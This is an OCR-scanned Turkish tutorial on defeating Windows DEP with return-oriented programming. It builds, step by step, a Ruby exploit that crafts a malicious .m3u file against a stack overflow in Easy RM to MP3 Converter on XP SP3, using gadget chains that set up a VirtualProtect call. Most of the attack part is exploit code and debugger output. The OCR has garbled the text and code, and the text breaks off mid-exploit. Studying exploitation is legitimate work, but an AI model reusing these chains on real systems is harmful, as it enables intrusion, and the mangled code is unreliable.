Giris

Oncelikle sunu belirtmekte fayda var bu makale Tiirkiye giivenlik & hacking topluluguna destek amagh
teknik konularda bilgi ve beceri kazandirabilme adina yazilmistir. Makalede eksik ya da yanlig
gordiigiiniiz kisimlart Litfen yorum olarak/e-mail ile bana ulastiriniz gerekli diizenlemeleri hep birlikte
yapalim. Ayrica sunuda belirtmek lazim suan i¢in bu makalede sadece Windows iizerinde DEP
korumasinin ROP teknigi ile agilmasi ele alinmistir, baska isletim sistemleri iginde ilerleyen siiregte
yazabilirim -vakit olursa- umarim.

"Neden ROP teknigine ihtiyag¢ duyuyoruz?" sorusuna cevap olarak DEP diyebiliriz. DEP, Windows
sistemlerde Stack'in NX (No eXecute) yani lizerinde kod ¢aligtirilamaz hale getirilmesini saglayan bir
korunma yontemidir (Acilim1 "Data Execution Prevention"). ROP ise Windows'un DEP korumasini
asmak ve NX Stack tizerinde kod calistirabilmek i¢in kullanilan bir tekniktir.

Daha once exploiting ile ugrasmis olanlar bilirler, ret2lib teknigini. ROP teknigide iste tam bu teknigin
yaptigini pespese bir¢cok adrese "return" olarak yapiyor ve bir sekilde stack'i izerinde kod ¢alistirilabilir
hale getiriyor ya da Memory'de RWX bir alana Shellcode'unuzu yazmanizi ve ¢alistirmanizi sagliyor
(DEP Bypass igin bir¢ok yontem mevcut..). Yani genel ama¢ mevcut olan kodlar1 register'lardaki degerleri
degistirmek, kullanacaginiz API'nin parametrelerini ayarlamak v.b i¢in tekrar kullanmaktir. Mevcut olan
kodlardan kastimiz ise gadget'lar olarak gecen kod parcalari. Tanim kolay goziiksede birazdan makalenin
uygulama kisminda mevcut kodlar ile kod yazmanin zorluklarini ¢ekecegiz o ylizden rahatlamayin :)

ROP i¢in kisacasi sunlar1 diyebiliriz;

* ret2lib teknigine benzer

* Code Re-use islemine dayanmaktadir
* DEP Bypass i¢in idealdir

* Gadget'lar kullanilmaktadir

Bu makalede VirtualProtect API'si ile Shellcode'umuzun hafizada bulundugu alani ¢alistirilabilir hale
getirerek oraya ziplayacagiz. VirtualProtect Teknigini se¢memin sebebi bir¢ok farkli Windows sistemde
ise yartyor olmasi.

VirtualProtect fonksiyonunun yapis1 asagidaki sekildeki gibidir.
VirtualProtect Function

Changes the protection on a region of committed pages in the virtual address space of the calling process.
To change the access protection of any process, use the VirtualProtectEx function.

Syrntax

VirtualProtect Fonksiyonu [1]

* Return Address, stack'de ilk olarak return adres belirtmemiz gerekiyor ki VP fonksiyonu islemini
tamamladiginda o adrese geri donsiin.

* IpAddress parametresine VP fonksiyonunun korunma seklini degistirecegi alana isaret eden bir
adres girmemiz gerekiyor.

* dwsSize parametresine VP fonksiyonunun korunma seklini degistirecegi alanin uzunlugunu
girmemiz gerekiyor.

* fINewProtect parametresine hafizanin korunma seklini belirten sabitlerden bir degeri girmemiz
gerekiyor. Bu sabitler Sekil-2'deki gibidir.
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* IpflOldProtect parametresine ise yazilabilir bir hafiza alanindan pointer girmemiz gerekiyor, zira
VP fonksiyonu bir 6nceki korunma sekline bakiyor aksi takdirde fonksiyonu basarisiz oluyor.
Yani bizim girecegimiz yazilabilir hafiza alanina ait sahte adres VP fonksiyonunu kandiriyor.
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Memory Protection Constants [2]

Ornegin 0x10203040 adresinde bir shellcode'umuz var ve uzunlugu 400 byte. Shellcode'umuzun
bulundugu alanin korunma seklini degistirmek i¢in VirtualProtect fonksiyonunu ¢agirmamiz Stack
tizerinde su sekilde olacaktir;

e 0x7C801AD4 - VP()'nin Adresi

¢ 0x10203040 - Return Adresi

* 0x10203040 - IpAddress parametresi

* 0x00000190 - dwSize parametresi

*  0x00000040 - fINewProtect parametresi (0x40 = PAGE_EXECUTE_READWRITE)
* 0x30405060 - IpflOldProtect parametresi (Yazilabilir bir alandaki pointer)

Yani biz kontroliinii sagladigimiz uygulamanin akisini buraya yonlendirirsek VP() fonksiyonu bu
parametreler ile calistirilacak ve 0x10203040 adresinden itibaren 0x190 (400 byte)'lik alan calistirilabilir
olarak isaretlenecektir ve uygulamanin akis1 0x10203040 adresinden itibaren devam edecektir. Kisacasi
DEP bypass edilecektir :>

VirtualProtect fonksiyonunun adresini bulmak i¢in kernel32.dll dosyasini IDA gibi bir disassembler ile

acarak Export edilen fonksiyonlar1 goriintiilediginiz Exports penceresinden bulabilirsiniz, aynen asagidaki
gibi.

*  Mame | Addrezs | Ordinal |
53 Wirtualsllos FCB09AET 879
ﬁa WirtualsllocE » 7CB09E02 880
éﬁ "irtualBufferE sceptionH andler TCERFETS 831
éﬁ WirtualFree FCaNIeY4 882
éﬁ WirtualFreeE = FCaNIesz 883
éa WirtualLock TCEZB127 B84
=Y ikl Protect FCRO1ADS 295
33 YirtualProtectE s FCBMART 886
53 YWirbualll uery TCe0BART 887
%5 “Wirtualll ueryE » TCB0BAZD 838
%3 "irtuall nlock, 7CEAFREZ 839

éﬁ WTSGEetdchiveConsoleS essionld FCE1337E 830
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Gadget Nedir?

Gadget, kodlar barindiran ve akisin tekrar stack'e doniip stack'teki bir sonraki DWORD degeri alip o
adresten kod ¢alistirmaya devam etmesini saglayan kod pargalaridir. Stack'e geri doniiliip alinan
degerdeki adresten kod calistirllmaya devam edilmesini saglayan Assembly instruction't ise RET ve
tirevleridir. Asagidaki kod pargas1 i¢in bir "gadget"tir diyebiliriz.

Gadget:

0x7C102030 PUSH EAX
0x7C102031 POP ECX
0x7C102032 POP ESI
0x7C102033 RETN

Stack:
0x7C102030
0xDEADBEEF
0x10014060

Bu gadget kisaca sunu yapiyor, EAX'deki degeri PUSH ediyor yani stack'e yolluyor, POP ECX
instruction'1 ile PUSH edilen degeri ECX'e aliyor, POP ESI ile stack'ten DWORD'liik bir degeri
(OxDEADBEEF) ESl'ye aliyor ve en son RETN ile ESI'ye aktarilan degerden sonraki DWORD degerdeki
adresten (0x10014060) calismaya devam ediyor. (Not: Buradaki adresler 6rnek amachdir ve gergek
degildir, sonra vay efendim ben 0x7C102030'a baktim boyle bir gadget yok demeyelim :))

1. Adim: EAX'in degeri stack'te

2. Adim: ECX =EAX

3. Adim: ESI = 0xXDEADBEEF

4. Adim: Stack'e geri don ve 0x10014060 adresinden baglayarak bir sonraki RETN'e kadar calistir.

Iste yukaridaki adimlar bizim ROP exploitimizi olusturacak adimlar, tabi daha karmasik adimlar ile
miicadele edecegiz :) Sunu belirmekte fayda var, bu teknigi daha efektif kullanabilmek i¢in iyi bir
Assembly bilginizin olmasi art1 yonde katki saglayacaktir.

Buraya kadar olan kisim anlagildi ise artik elleri kirletmenin vakti geldi demektir. Simdi 6rnek bir Stack
Overflow zafiyetli uygulama {izerinden DEP'in aktif oldugu bir sistemde gadget'lar1 biraz daha anlamak
icin pratik yapacagiz. Sonraki kisimda ise yine ayni uygulamadaki zafiyet i¢in bir ROP exploit'i
yazacagiz.

Gadget'lar1 Anlamak

Hedef olarak Easy RM2MP3 adindaki klasik stack overflow zafiyeti olan programi kullanacagiz. File
format tabanli bir zafiyeti segmemin sebebi ilk asamada rahat rahat kullanabilecegimiz bir stack'e sahip
olmamuz. Isletim sistemi olarakta XP SP3'{i hedef aldik ve DEP korumasi olarakta OptIn'i segtim
(AlwaysOn yaptiginizda reboot etmeniz gerekmekte ben biraz lisengeclik yaptigimdan Optln'i sectim > )

Ruby ile ilk asamada basit bir PoC yazdim. Bu PoC rop.m3u adinda bir dosya olusturacak, bu dosyanin
igerisinde bizim payload'umuz olacak ve hedef uygulamada bu dosyay1 agacagiz.

PoC.rb

filename = "rop.m3u"
buffersize = 26109

junk = "A" * puffersize

eip = [0x1002DC2A].pack("V*") # RET



# rop payload

rop = "FFFF"

rop << [0x1002E796].pack
rop << [0x44444444] .pack # Will be pop'd to EAX
rop << [0x88888888].pack("V*") # Will be pop'd to EBP

("vE)
("VE)
("VE)

rop << [0x1002DC4C].pack("V*") # ADD EAX, 100 + POP EBP + RET
("VE)
("vE)

# POP EAX + POP EBP + RET

rop << [OxCOOFFEEE].pack("V*") # Will be pop'd to EBP
rop << [0x100155D7].pack("V*") # INT 3

# shellcode to execute from stack when ROP success
shellcode = ("C" * 900)

payload = "#{junk}#{eip}#{rop}#{shellcode}"
puts "Payload size : #{payload.length}"

File.open("rop.m3u", "w") { |f]|
f.write(payload)

}

Kullanmis oldugum instruction'lar su adreslerde yer aliyor sirasiyla;

* 0x1002DC2A
e 0x1002E796
e 0x1002DC4C
e 0x100155D7

Immunity Debugger'in komut satirinda u 0x1002DC2A komutunu ¢alistirdigimda hemen yukaridaki
Disassembly penceresinde ilgili adreste hangi instruction oldugunu gorebilirsiniz. Sirasiyla bakarsak eger
0x1002DC2A adresinde RET instruction'i var. Bu adresi EIP'e yazdirdik yani EIP ¢alisti§inda dogrudan
stack'e donecek. Siradan devam ediyorum u 0x1002E796 komutunu ¢alistirdigimda karsima POP EAX +
POP EBP + RET instruction seti ¢ikmakta.

4. Immunity Debugger - RM2ZMP3Converter.ex
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0x1002E796 adresindeki gadget

0x1002DC4C adresinde ise ADD EAX, 100 + POP EBP + RET instruction seti var. 0x100155D7
adresinde ise INT 3 instruction'1 var, yani breakpoint. Adim adim gadget'larin nasil register'lar
etkiledigini (daha dogrusu gadget'lar1 dogru bir sekilde ¢alistirabildigimizi) gérecegiz. 0x1002DC2A
adresine ImmDbg komut satirinda b 0x1002DC2A seklinde bir breakpoint koyuyorum ve rop.m3u
dosyasini uygulama ile agryorum. Program suan 0x1002DC2A adresinde duraklatildi. Step Over (F§)
diyerek adim adim ilerliyorum.
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POP EAX Islemi

POP EAX islemi sonunda stack'teki 0x44444444 degeri EAX'e yliklendi (Not: Resimlerin tizerine
tiklayarak biiyiik hallerini gorebilirsiniz).

POP EBP Islemi

POP EBP islemi sonunda stack'teki 0x88888888 degeri EBP'ye yiiklendi. Sonrasinda RETN instruction't
ile stack'e dondiik ve programin akisi1 0x1002DC4C adresine yonlendi.

ADD EAX, 100 Islemi
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Bu islem ile EAX'a 0x100 (Decimal olarak: 256) degerini ekledik. Yani EAX 0x44444444 idi, bu
islemden sonra 0x44444444 + 0x100 = 0x44444544 oldu. Asagidaki ekran goriintiisiinden EAX'in yeni
degerini gorebilirsiniz.

POP EBP ve EAX = 0x44444544

Gordiigiliniiz gibi su ana kadar ki tiim igslemleri gadget'larimiz ile gerceklestirdik. POP EBP igleminden
sonrada EBP'nin yeni degeri stack'teki 0OxCOOFFEE olacaktir. Yorulan ya da uykusu gelen varsa
okumaktan bir 0OXCOOFFEEE alsin kendine :))

RETN ve EBP = 0xCOOFFEEE

Bu agamaya kadar basarili bir sekilde uygulama yaptiysaniz artik exploiting asamasina gegebiliriz.
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Exploiting

Exploiting asamasinda ilk olarak ROP gadget'lar1 ¢ikartabilecegimiz ve program tarafindan yliklenen
kiitiiphaneleri bulmamiz ve o kiitiiphaneleri hafizadaki durumlarina gore filtrelememiz gerekiyor.
ImmDbg'in pvefindaddr eklentisi ile kolayca bunu yapabiliriz. InmDbg komut satirinda !pvefindaddr
noaslr komutunu ¢aligtirarak log penceresine bakiyoruz.

Yiiklenen DLL'ler

ASLR'nin etkin olmadig1 ve BaseFixup (Yani modiil her zaman ayni1 base adreste konumlanmayabilir)
olmayan modiillerde ROP gadget'lar1 aramak yazacagimiz exploit'in i¢in daha stabil ¢aligmalari i¢in etkili
olacaktir. Exploitimizi yazmaya basliyoruz..

Exploit'imizin yapisi su sekilde olabilir.

VirtualProtect Adresi
VP() Return Adresi
IpAddress Parametresi
dwSize Parametresi
flINewProtect Parametresi

IpfloldProtect Parametresi

Shellcode'un Konumunu
Hesaplayan Gadget'lar

VP()'ye Doniis Gadget"i

ROP Exploit Yapis1
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Normalde shellcode'umuzun adresini dinamik olarak hesaplamak haricinde pek bir gadget'a ihtiya¢ yok
gibi duruyor. Fakat VP fonksiyonunun diger parametreleri NULL byte (0x00) icerdigi i¢in ve hedef
uygulama NULL byte'lar1 6ldiirdiigii i¢in mecburen diger parametreleride dinamik olarak olusturup ilgili
konumlarina yazacagiz. {1k olarak sunu yapiyoruz, EIP'e sadece RET instruction'in1 barindiran bir adres
yazacagiz ve stack'e geri donecegiz. Ardindan shellcode'umuzun adresini hesaplayabilmek i¢in ESP'yi bir
yada birden ¢ok register'da saklayacagiz ve daha sonra diger islemlerimize gegecegiz. 11k gadget'imiz
0x1002DC2A adresinde ve sadece RETN instruction'1 i¢eriyor, kisacas1 hemen stack'e donecek ve bir
sonraki adrese giderek oradaki instruction'lar1 ¢alistiracak. Bir sonraki instruction'inimin adresi ise
0x5AD79277 ve bu gadget PUSH ESP + MOV EAX, EDX + POP EDI + RET instruction'larini igeriyor.
ESP'ideki degeri EDI'yede atiyor.

BT wx ol o] | emswh kb s o o
R

EDI = ESP

Bir kag register'da daha ESP'yi saklamak faydali olacaktir daha sonraki islemler i¢in. Bunun igin
buldugum gadget'lar su adreslerde 0x77C34DC2 ve 0x775D131E. Ik gadget MOV EAX,EDI
instruction'1 ile EDI'yi (EDI = ESP) EAX'a tasiyor, ikinci gadget ise PUSH EAX + POP ESI
instruction'lart ile EAX'"1 (EAX = ESP) stack'e PUSH ediyor ve daha sonra o degeri ESI'ye aliyor. Son
durumda register'larin durumu su sekilde;

EAX = 0x000FF734
EDI = 0x000FF734
ESP = 0x000FF734
ESI = 0x000FF734

VirtualProtect fonksiyonunu temsili bir sekilde stack'te yer edindirmek i¢inde parametreleri rastgele
degerler ile exploitimize giriyoruz.

Exploit:

filename = "rop2.m3u"
buffersize = 26109

junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload

rop = "FFFF"

rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x33445566].pack("Vv*") # trash for POP

rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN

# EDI, ESI ve EAX ESP'nin degerine sahipler

# VirtualProtect

rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dl1l
rop << [0x44444444] .pack("V*")

rop << [0x45454545] .pack("V*")

rop << [0x46464646].pack("V*")

rop << [0x47474747] .pack("V*")

rop << [0x10035005].pack("V*")

nops = ("\x90" * 100)

shellcode = ("\xCC" * 350)

junk2 = ("\xCC" * (600 - shellcode.length))

payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"
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puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f]
f.write(payload)
}

VirtualProtect fonksiyonunun galistirilmamasi i¢in ESP'yi biraz arttirarak VirtualProtect ve
parametrelerini agmamiz gerekmekte. VP() yer tutucusu 6 DWORD'den olugmakta. 6 DWORD demek 6
x 4 =24 byte demek. ADD ESP, 18 gibi instruction benim i¢in bu islemi yapacaktir. 0x77C22894
adresinde isimi gorebilecek bir gadget mevcut. ADD ESP,20 + POP EBP + RET instruction'larindan
olusan bu gadget ile ESP'yi 32 byte (20h = 32d) kaydirabilmem miimkiin. Sunuda not olarak eklemek
gerekmekte. Exploit'te gorebileceginiz gibi 0x77C34DC2 gadget'indan sonra ROP Payload'uma
0x33445566 gibi bir deger daha ekledim. Bu deger POP ESI instruction'ma atanacak. Onemsiz bir
degerde olsa mutlaka bir deger verilmeli gadget icinde eger POP instruction'1 varsa, yoksa POP
instruction'lar1 stack'ten bir sonraki degeri alacaktir ve ROP Payload'unuz istediginiz gibi ¢aligmayacaktir.
0x5AD79277 gadget'inda da POP islemi var ama herhangi bir deger neden girmedik diye soracaksaniz
bunun cevabi zaten gadget'in igerisinde. PUSH islemi bir DWORD degeri stack'e att1, sonrasindaki POP
islemi ise o atilan degeri otomatik olarak aldi. Gadget, PUSH ESP + POP EDI + POP EAX seklinde
olsaydi benim ROP Payload'um su sekilde olacakti.

rop << [0x5AD79277].pack("V*") # PUSH + POP + POP
rop << [0x44332255].pack("V*") # En son POP icin

Kaldigimiz yerden devam.. Exploit'imin son hali su sekilde;

Exploit:

filename = "rop2.m3u"
buffersize = 26109

junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload

rop = "FFFF"

rop << [0x5AD79277].pack("V*")

rop << [0x77C34DC2].pack('V*")

rop << [0x33445566].pack("V*") trash for POP

rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin degerine sahipler

# PUSH ESP + ... + POP EDI + RET
# MOV EAX,EDI + POP ESI + RET
#

rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET
rop << [0x41414141].pack("V*") # trash for POP

# VirtualProtect

rop << [0x7C801AD4].pack
rop << [0x44444444] .pack
rop << [0x45454545] .pack

("vx")
( )
(" )
rop << [0x46464646].pack("V*")
( )
( )
( )
(! )

IV*II

# VirtualProtect from kernel32.d1l1l

rop << [0x47474747].pack("V*"
rop << [0x10035005].pack("V*"
rop << [0x61616161].pack("V*"
rop << [0x61616161].pack("V*"

# add esp,20 icin
# add esp,20 icin

rop << [0x77887788].pack("V*")

nops = ("\x90" * 100)

shellcode = ("\xCC" * 350)

junk2 = ("\xCC" * (600 - shellcode.length))

payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"



puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f]
f.write(payload)
}

VP()'den sonra koymus oldugum iki adet 0x61616161 degerleri toplamda boyutu 32'ye tamamlamak
icindi. Aksi halde ESP istedigim yere isaret etmeyecekti. Eger hersey dogru ise ESP'nin degeri 20h (32d)
artmal1 ve bir sonraki ¢alistirilacak gadget olarak 0x77887788 adresine gitmeye ¢aligmali programin
akis1. 0x5AD79277 adresine breakpoint koyup dosyay1 hedef program ile agiyoruz ve EIP 0x77887788
olana kadar Step Over (F8) yaparak gidiyoruz. Asagidaki resime bakarsaniz, register'lardaki kaydedilmis
ESP degerlerini gorebilirsiniz. Bir sonraki resimden ise EIP'in 0x77887788 adresine gitmeye ¢alistigini
gorebilirsiniz. Eger bu adimlar1 basariyla gergeklestirdiyseniz, artik VP() fonksiyonuna miidahele ederek
parametreleri istenilen degerlere atama asamasina gegebiliriz.

Register'larin Son Durumu

Sonraki Adimda EIP
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EDI, ESI ve EAX register'larinda ESP'nin ilk bastaki degeri mevcut. Bu degere gore bir register't
shellcode'umun adresine esitleyecegim VP()'nin ilk iki parametresi icin. Oncelikle shellcode'umun
adresine bakiyorum.

Stack'in Durumu

Ilk iki parametreyi C'lerin bulundugu adreslerden bir tanesine isaret edecek sekilde ayarlarsam basarili
olabilirim. Aray1 biraz birakirsam iyi olur ¢iinkii araya baska gadget'larda girecegi icin yeterli alani
saglamam gerekmekte. Bunun icin ADD EAX, XX gibi bir gadget bulmaliyim. Buldugum gadget'lar
icerisinde en kullanish olan1t ADD EAX, 100h gadget'. EAX (0x000FF734) + 0x100 (256d) =
0x000FF834 adresine tekabiil etmekte. Shellcode'umu bu adrese isaret edecek sekilde daha sonra
konumlandiracagim. Suan i¢in shellcode yerine C karakteri kullandik. Artik EAX shellcode'umuza isaret
ediyor diyebiliriz.

[k parametreyi atamak icin saved ESP'ye sahip register'lardan bir tanesini temel pointer olarak kullanip
isaret ettikleri degerleri degistirebilmemiz lazim. Suan i¢in elimizde ESI ve EDI kald1 sadece saved
ESP'ye sahip register'lar olarak. Bulmus oldupum gadget'lar arasindaki en kullanislis1 0x7301D6EA
adresindeki gadget. Bu gadget su instruction'lara sahip;

MOV DWORD PTR DS:[ESI+18],EAX
MOV DWORD PTR DS:[ESI+1C],EAX
MOV EAX,ESI

POP ESI

POP EBP

RETN 4

Goriilecegi gibi gadget ESI+18 ve ESI+1C adreslerine EAX'in degerini yaziyor. ESI (0x000FF734) +
0x18 (24d) = 0x000FF74C ve ESI (0x000FF734) + 0x1C (28d) = 0x000FF750.

st



http://1.bp.blogspot.com/-ol6KEBUsgcs/Ti1wAzAO-BI/AAAAAAAAAHo/OPDY5TdM8wE/s1600/stack.png
http://3.bp.blogspot.com/-43YBBuuOSE4/Ti14gLr26wI/AAAAAAAAAHs/5dHdX1yMgyA/s1600/stack2.png

0x000FF74C adresinde DDDD ve 0x000FF750 adresinde ise EEEE degerleri var. Bulmus oldugum
gadget tek atista DDDD ve EEEE degerlerini EAX'in degerine esitleyecegiz.

Bulmus oldugumuz kullanislt gadget'imiz sayesinde tek atista 0xO00FF74C ve 0x000FF750 adreslerine
EAX'in degerini yazdirdik. Ama suan i¢in sorunumuz gadget icerisindeki MOV EAX, ESI ve POP ESI
instruction'lariin mevcut degerleri bozmasi. Bir sonraki gadget ile bu degerleri kurtarmamiz gerekecek.
Bunun i¢inde daha 6nceden kullandigimiz MOV EAX,EDI + POP ESI + RET ve PUSH EAX + POP ESI
+ RETN gadget'larin1 kullanacagiz. Exploitimizin son hali su sekilde olmali.

filename = "rop2.m3u"
buffersize = 26109
junk = "A" * puffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload

rop = "FFFF"

rop << [Ox5AD79277].pack("V*"
rop << [0x77C34DC2].pack("V*"
rop << [0x33445566].pack("V*" trash for POP

rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin degerine sahipler

# PUSH ESP + ... + POP EDI + RET
# MOV EAX,EDI + POP ESI + RET
#

~— — — ~—

rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET
rop << [0x41414141].pack("V*") # trash for POP

# VirtualProtect

rop << [0x7C801AD4].pack("V*")

rop << [0x44444444] .pack( )

rop << [0x45454545] .pack(" )

rop << [0x46464646].pack("V*")
("vx")
( )
( ) #
(! ) #

*Il

IV*II

# VirtualProtect from kernel32.d1l1l

rop << [0x47474747].pack("V*"
rop << [0x10035005].pack("V*"
rop << [0x61616161].pack("V*"
rop << [0x61616161].pack("V*"

add esp,20 igin
add esp,20 icgin

# EAX'i shellcode'a isaret ettiriyoruz
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = Ox000FF834
# EDI = OxOOOFF734
# ESI = OxO00FF734

# Overwrite first & second parameter of VP()

rop << [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:
[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 > MFC42.dl1

rop << [0x41414141].pack("V*") # trash for POP ESI

rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = OxO00FF834
# EDI = OxO00FF734
# ESI = 0x41414141

MOV EAX,EDI + POP ESI + RET
trash for RETN 4

trash for POP ESI

PUSH EAX + POP ESI + RETN

rop << [0x77C34DC2].pack("V*") #
rop << [0x14141414].pack("V*") #
rop << [0x62626262].pack("V*") #
rop << [0x775D131E].pack("V*") #
nops = ("\x90" * 100)

shellcode = ("\xCC" * 350)

junk2 = ("\xCC" * (600 - shellcode.length))

payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"
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puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f]
f.write(payload)
}

RETN+N seklindeki instruction'lar i¢in kisa bir bilgilendirme yapmak lazim. Bu tip durumlarda N adet
DWORD'ii bir sonraki instruction'dan sonra konumlandirmak lazim aksi takdirde ROP Payload'umuz
istedigimiz gibi ¢alismayacaktir. Bunun sebebi ise RETN+N komutu calistirildigi zaman stack'ten N
kadar parametrenin POP edilmesidir.

ROP Payload'una bakacak olursaniz ESI ve EAX'1 kurtardik. Bir sonraki gérevimiz ESI+20
(0x000FF754) konumuna korunma durumunu degistirecegimiz alaninin boyutunu girmek (VP()'nin
3.parametresi). Bunun i¢in yine EAX'i kullanabiliriz. Oncelikle EAX'i sifirliyoruz, XOR EAX, EAX
islemini yapan bir gadget buluyoruz. Bu arada gadget bulma islemi i¢in debugger'in arama 6zelligini ya
da pvefindaddr gibi bir PyCommand' kullanabilirsiniz, tercihinize kalmig bir durum. 0x100307A9
adresindeki XOR EAX, EAX gadget'1 ile EAX"1 O(sifir)'a esitliyoruz. Daha sonra 0x77C4EC2B
adresindeki ADD EAX, 100 gadget'1 ile EAX'1 100h'ye esitliyoruz. ADD EAX, 100 gadget'in1 4 kez
calistirirsak EAX'a 0x400 (1024d) gibi bir deger atanacaktir ki bu boyut shellcode'umuz i¢in olduk¢a
kullanisli. ROP Payload'umuza asagidaki eklemeyi yapiyoruz.

rop << [0x100307A9].pack
rop << [0Ox77C4EC2B].pack
rop << [0x41414141].pack("V*"
rop << [Ox77C4EC2B].pack("V*"

("VE")
( )
( )
( )
rop << [0x41414141].pack("V*")
("VE")
( )
( )
("Vvx")

IV*II

XOR EAX, EAX + RETN

ADD EAX,100 + POP EBP + RETN
trash for POP EBP

ADD EAX,100 + POP EBP + RETN
trash for POP EBP

ADD EAX,100 + POP EBP + RETN
trash for POP EBP

ADD EAX,100 + POP EBP + RETN
trash for POP EBP

rop << [0x77C4EC2B].pack("V*"
rop << [0x41414141].pack("V*"
rop << [0x77C4EC2B].pack("V*"
rop << [0x41414141].pack("V*"

HHHFHHFEHRHHHR

Artik EAX, 0x400 degerine esit. Yani VP()'nin 3.parametresi stack tizerindeki. Yine ¢ok kullanish olarak
buldugum gadget'lardan 0x775DD86D gadget'ini kullanicam. Bu gadget'in komutlar1 su sekilde;

MOV DWORD PTR DS:[ESI+20],EAX
POP ESI

POP EBX

POP EBP

RETN 4

Bir dnceki parametre yazma isleminde oldugu gibi ESI+20 stack tizerinde VP()'nin 3.parametresine denk
geliyor. Ayrica bazi durumlarda daha kullanisli olan NEG instruction'r ile degeri elde etmek daha kisa
olabiliyor. NEG instruction1 verdiginiz degeri OXFFFFFFFF ile XOR'luyor. Ufak bir Ruby kodu yazdim
ve 1024d elde etmek i¢in hangi degeri kullanmam gerektigini bulmaya yariyor.

# negazord.rb
searchval = ARGV[O]

for i in 0..31337
total = OxFFFFFFFF - i
negazored = "Ox%08x" % (total ~ OXFFFFFFFF)

if negazored.to i(16) == searchval.to i
puts "[+] founded! Ox#{total.to s(16).upcase}"
end

end



Su sekilde kullanarak OxFFFFFBFF degerinin 0x400 yapacagini buldum.

[cb@world:~]> ruby Codes/ruby/negazord.rb 1024
[+] founded!
[+] NEG (OxFFFFFBFF) = 0x00000400 (1024d)

EAX'e OxFFFFFBFF degerini POP edip ardindan EAX't NEG islemine tabi tutmaliyim. 0x77C4E0DA
adresindeki gadget POP EAX + RETN i¢eriyor, EAX"'1 0OxXFFFFFBFF'e esitledik. 0x77C1D1E3
adresindeki gadget ise NEG EAX + POP EBP + RETN iceriyor ve EAX'1t NEG instruction't ile 0x400
yaptik.

'V*") # POP EAX + RETN > msvcrt.dll
V*") # NEG(OXFFFFFBFF) = 0x00000400

V*") # NEG EAX + POP EBP + RETN > msvcrt.dll
'V¥") # trash for POP EBP

rop << [0x77C4EODA].pack
rop << [OxXFFFFFBFF].pack
rop << [0x77C1D1E3].pack
rop << [0x41414141].pack

(!
("
("
(!
Exploit'imi NEG instruction'r kullanacak sekilde giincelledim ve ADD EAX, 100 gadget'larin1 kaldirdim.
Daha 6nceden yaptigim gibi yine ESI'yi kurtarmam lazim bunun i¢inde daha 6nceden kullanmis oldugum
MOV EAX,EDI + POP ESI + RET ve PUSH EAX + POP ESI + RETN gadget'larin1 kullanacagim. Bu
gadget'lar ile ESI'yi tekrar 0x000FF734 degerine esitledim. Tekrar EAX't XOR ile sifirliyarak
4.parametre olan 0x40'a esitleyecegim. 0x7C972250 adresinde ADD EAX, 40 instruction'ina sahip bir
gadget var onu kullanacagiz ve son olarak 0x77ECF538 adresindeki MOV DWORD PTR DS:
[ESI+24],EAX + POP ESI + RETN instruction't ile ESI+24'e yani 4.parametreye 0x40 yazdiracagiz.
Exploit'in ve stack'in son hali su sekilde.

Exploit:

filename = "rop2.m3u"
buffersize = 26109

junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload

rop = "FFFF"

rop << [0x5AD792771].pack("V*")

rop << [0x77C34DC2].pack('V*")

rop << [0x33445566].pack("V*") trash for POP

rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin degerine sahipler

# PUSH ESP + ... + POP EDI + RET
# MOV EAX,EDI + POP ESI + RET
#

rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET
rop << [0x41414141].pack("V*") # trash for POP

# VirtualProtect

rop << [0x7C801AD4].pack
rop << [0x44444444] .pack("V*"
rop << [0x45454545].pack("V*"

("VE")
( )
( )
rop << [0x46464646] .pack("V*")
( )
("vx")
( ) #
(! ) #

# VirtualProtect from kernel32.d1l1l

rop << [0x47474747].pack("V*"
rop << [0x10035005].pack
rop << [0x61616161].pack("V*"
rop << [0x61616161].pack("V*"

add esp,20 igin
# add esp,20 icin

# EAX'i shellcode'a isaret ettiriyoruz
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = OxO00FF834
# EDI = OxO00FF734
# ESI = OxO00FF734



# Overwrite first & second parameter of VP()

rop << [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:
[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 > MFC42.d11

rop << [0x41414141].pack("V*") # trash for POP ESI

rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = OxO00FF834
# EDI = OxO0OFF734
# ESI = 0x41414141

rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x14141414].pack("V*") # trash for RETN 4

rop << [0x62626262].pack("V*") # trash for POP ESI

rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN

# EAX = OxO000FF734

# EDI = Ox000FF734

